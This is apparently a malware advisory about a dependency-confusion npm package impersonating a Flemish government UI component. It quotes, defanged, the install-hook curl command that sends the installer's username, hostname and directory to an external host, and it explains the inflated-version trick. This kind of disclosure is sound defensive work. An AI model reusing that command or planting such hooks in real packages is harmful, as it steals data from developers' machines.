LWA-2026-5432 confirmed malware

vl-ui-accessibility@99.99.1

Malicious code in vl-ui-accessibility (npm)

T1195.002 · Compromise Software Supply ChainT1059.004 · Unix ShellT1082 · System Information DiscoveryT1041 · Exfiltration Over C2 Channel

Analysis

Dependency-confusion package impersonating the vl-ui-accessibility Flemish government UI component. On install, both the preinstall and postinstall lifecycle hooks execute: curl -s "hxxps://178fx66q[.]instances[.]httpworkbench[.]com/depconf/vl-ui-accessibility/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)" sending the installer's username, hostname, working directory, and timestamp to an external httpworkbench instance (178fx66q[.]instances[.]httpworkbench[.]com). The package contains no real functionality — index.js is a single comment line. The version 99.99.1 is intended to win version resolution in dependency-confusion scenarios against the legitimate vl-ui-accessibility package.

analyzed by
Leitwacht
first seen
Jun 15, 2026, 08:58 PM
analyzed
Jun 15, 2026, 08:58 PM

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Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.